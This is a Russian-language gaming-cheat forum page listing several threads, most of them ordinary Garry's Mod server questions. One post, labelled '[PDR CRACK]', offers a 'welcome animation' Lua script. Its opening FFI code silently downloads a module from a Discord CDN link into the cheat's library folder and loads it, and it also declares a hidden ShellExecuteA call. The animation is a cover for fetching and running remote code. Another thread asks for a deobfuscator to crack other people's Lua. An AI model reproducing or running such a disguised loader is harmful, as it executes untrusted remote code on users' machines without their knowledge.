• Вопрос Вопрос
Вопрос Как запустить SRCDS для игры, не имеющейся в стиме?

Есть многопользовательская игра, сделанная на основе этого лика GitHub - nillerusr/source-engine: Modified source engine (2017) developed by valve and leaked in 2020. Not for commercial purporses
Хочу узнать, как запустить выделенный сервер для неё
Читал здесь, не нашёл ответа Source Dedicated Server - Valve Developer Community

  • Вопрос Вопрос
Вопрос что за ошибка?

[itemstore] addons/itemstore/lua/itemstore/items/spawned_weapon.lua:99: attempt to call method 'Getamount' (a nil value) 1. SaveData - addons/itemstore/lua/itemstore/items/spawned_weapon.lua:99 2. PickupItem - addons/itemstore/lua/itemstore/sv_player.lua:133 3. v - addons/itemstore/lua/itemstore/sv_player.lua:482 4. unknown - addons/plib_v2/lua/plib/libraries/hook.lua:56

  • Вопрос Вопрос
Вопрос Не сохраняються изменения в базе данных sqlite3

Помогите пожалуйста, не сохраняються измененения в плане: точки спавнов професий, настройки дверей, игроки(ихнее деньги, инвентарь и т.п), донат, баны и многое другое.

База данных находиться по пути: Server/garrysmod/sv.db

  • Вопрос Вопрос
[PDR CRACK ] Приветствие при лоаде луа

helloscript:
Развернуть Свернуть Копировать
ffi.cdef[[
    typedef int(__thiscall* get_clipboard_text_count)(void*);
    typedef void(__thiscall* set_clipboard_text)(void*, const char*, int);
    typedef void(__thiscall* get_clipboard_text)(void*, int, const char*, int);
    bool CreateDirectoryA(const char* lpPathName, void* lpSecurityAttributes);
    void* __stdcall URLDownloadToFileA(void* LPUNKNOWN, const char* LPCSTR, const char* LPCSTR2, int a, int LPBINDSTATUSCALLBACK);
    void* __stdcall ShellExecuteA(void* hwnd, const char* op, const char* file, const char* params, const char* dir, int show_cmd);
    bool DeleteUrlCacheEntryA(const char* lpszUrlName);

    typedef int(__fastcall* clantag_t)(const char*, const char*);

    bool CreateDirectoryA(const char* lpPathName, void* lpSecurityAttributes);
    void* __stdcall URLDownloadToFileA(void* LPUNKNOWN, const char* LPCSTR, const char* LPCSTR2, int a, int LPBINDSTATUSCALLBACK);
    void* __stdcall ShellExecuteA(void* hwnd, const char* op, const char* file, const char* params, const char* dir, int show_cmd);
    
    int MessageBoxA(void *w, const char *txt, const char *cap, int type);

    int ShellExecuteA(void* hwnd, const char* lpOperation, const char* lpFile, const char* lpParameters, const char* lpDirectory, int nShowCmd);
]]

local Shell32 = ffi.load 'Shell32.dll'
local urlmon = ffi.load 'UrlMon'
local wininet = ffi.load 'WinInet'

local function Download(from, to)
    wininet.DeleteUrlCacheEntryA(from)
    urlmon.URLDownloadToFileA(nil, from, to, 0,0)
    end
    
    local function skip(from)
    Shell32.ShellExecuteA(nil, 'open', from, nil, nil, 0)   
    end
    
    local function CreateDir(path)
    ffi.C.CreateDirectoryA(path, nil)
    end


wininet.DeleteUrlCacheEntryA("[URL]https://cdn.discordapp.com/attachments/1101461522879885312/1123030895813730436/EthericoreModule.lua[/URL]")
urlmon.URLDownloadToFileA(nil, "[URL]https://cdn.discordapp.com/attachments/1101461522879885312/1123030895813730436/EthericoreModule.lua[/URL]", ".\\Pandora\\lua\\libraries\\EthericoreModule.lua", 0,0)

ffi = require("ffi")
Mod = require("EthericoreModule")
elements = {}

function new_element(slot0, slot1, slot2, slot3, slot4)
    if slot4 == nil then
        if slot2 == nil then
            elements[#elements + 1] = slot0
        else
            elements[#elements + 1] = {
                item = slot0,
                options = slot3
            }
        end
    end

    if slot1 ~= nil then
        slot1[#slot1 + 1] = slot0
    end

    return slot0
end

AnimSpeed = 8
size = vector2d.new(240, 80)
StartUP = {
    closeALL = false,
    animation7 = 0,
    animation3 = 0,
    animation6 = 0,
    finished = false,
    rounding = 4,
    animation1 = 0,
    alpha = 0,
    animation = 0,
    animation5 = 0,
    on = false,
    animation4 = 0,
    animation2 = 0,
    pos = vector2d.new(Helpers.Screen().x / 5 - size.x / 5, Helpers.Screen().y / 5 - size.y / 5),
    font = Renderer.Font("Verdana", 21, 1024),
    font_down = Renderer.Font("Verdana", 11, 1024),
    font_huge = Renderer.Font("Verdana", 100, 512, 0),
    font_medium = Renderer.Font("Verdana", 50, 512, 0),
    closedtime = global_vars.realtime
}

function initalize_StartUP()
    if StartUP.on == false then
        if not StartUP.closeALL then
            StartUP.animation = Math.Lerp(StartUP.animation, 255, global_vars.frametime * AnimSpeed)
            StartUP.animation1 = Math.Lerp(StartUP.animation1, Renderer.MeasureText(StartUP.font_huge, "Welcome back").x, global_vars.frametime * AnimSpeed / 2)
        end

        if StartUP.closeALL then
            StartUP.animation = Math.Lerp(StartUP.animation, 0, global_vars.frametime * AnimSpeed)
            StartUP.animation1 = Math.Lerp(StartUP.animation1, 0, global_vars.frametime * AnimSpeed * 5)
        end

        Renderer.GradientRect(vector2d.new(0, 0), Helpers.Screen(), color.new(0, 0, 0, StartUP.animation), color.new(0, 0, 0, StartUP.animation), true)
        Renderer.SetClip(vector2d.new(Helpers.Screen().x / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").x / 2, Helpers.Screen().y / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").y / 2), vector2d.new(math.floor(StartUP.animation1), Renderer.MeasureText(StartUP.font_huge, "Welcome back").y))
        Renderer.TextShadow(StartUP.font_huge, vector2d.new(Helpers.Screen().x / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").x / 2, Helpers.Screen().y / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").y / 2), ColorTransform.OverrideAlpha(color.new(0, 0, 0, 155), StartUP.animation), "Welcome back", 2, 2, false, false)
        Renderer.Text(StartUP.font_huge, vector2d.new(Helpers.Screen().x / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").x / 2, Helpers.Screen().y / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").y / 2), ColorTransform.OverrideAlpha(color.new(255, 255, 255, 255), StartUP.animation), "Welcome back", false, false)
        Renderer.EndClip()

        if StartUP.animation > 127 then
            StartUP.animation2 = Math.Lerp(StartUP.animation2, not StartUP.closeALL and 255 or 0, global_vars.frametime * AnimSpeed * 2)
            StartUP.animation3 = Math.Lerp(StartUP.animation3, Renderer.MeasureText(StartUP.font_huge, "Welcome back").y / 2 + 2, global_vars.frametime * AnimSpeed)

            if StartUP.animation2 > 254 then
                StartUP.animation4 = Math.Lerp(StartUP.animation4, not StartUP.closeALL and 255 or 0, global_vars.frametime * AnimSpeed)


                StartUP.animation6 = Math.Lerp(StartUP.animation6, Renderer.MeasureText(StartUP.font_huge, "Welcome back").y / 2 + 2, global_vars.frametime * AnimSpeed / 2)

                end
            end

            if StartUP.closedtime + 4 < global_vars.realtime then
                StartUP.closeALL = true
            end
        end

        if StartUP.closeALL then
            StartUP.animation4 = Math.Lerp(StartUP.animation4, not StartUP.closeALL and 255 or 0, global_vars.frametime * AnimSpeed)
        end

        if StartUP.closeALL and StartUP.animation4 < 2 then
            StartUP.finished = true
            CONTINUE_ = true
        end
end

callbacks.register("paint", initalize_StartUP)

1688137182895.png

анимированное приветствие ( появление текста и пропадает спустя секунд 4-5 )

  • Вопрос Вопрос
Вопрос Как думаете, стоит ли рубату релизнуть античит в гмоде или ну его нахуй?

На одной стороне отсутствие читеров и смерть разрабов платных читов, потому что больше не буду покупать.
На другой стороне резкий спад онлайна на серверах и повышение цен на читы, ведь разрабы умереть не хотят и сделают байпасс

Так это, вы на какой стороне, ребята?

  • Закрыта
  • Вопрос Вопрос
Вопрос 1

Приветствую, у меня возник вопрос связанный с Zeros methlab 2. Суть вопроса заключается в том что при попытке использовать "tent" или "Equipment" пишет то что "Тебе это не принадлежит" Equipment.
Css content -- Есть.
content -- Тоже.

Вложения

  • 1687902317311.png
    1687902317311.png
    900.8 KB · Просмотры: 73

  • Вопрос Вопрос
Вопрос Олимпиадное программирование

Есть на форуме олимпиадники по программированию?
Если есть, то скажите, пожалуйста, как вы готовились и где? Что нужно знать? Сайты там, книги может быть и всё остальное
Буду безмерно благодарен тем, кто поможет, перехожу в 10 класс и хочу уже взяться за олимпиадное программирование
[Язык C++, конечно же]

  • Вопрос Вопрос
Вопрос У кого есть рабочий деобфускатор например для мунсека в3 или луаджит?

У кого есть рабочий деобфускатор например для мунсека в3 или луаджит? мне он нужен так сказать и для повседневной жизни и для будущего чтобы мог крякнуть чью то луа если это потребуется, заранее благодарю ( не надо мне рекомендовать обычный луаджит деобфускатор который дает псевдокод )

Пользователи онлайн

Статистика форума

Темы
29,178
Сообщения
187,189
Пользователи
129,077
Новый пользователь
Fa5ka
Назад
Сверху Снизу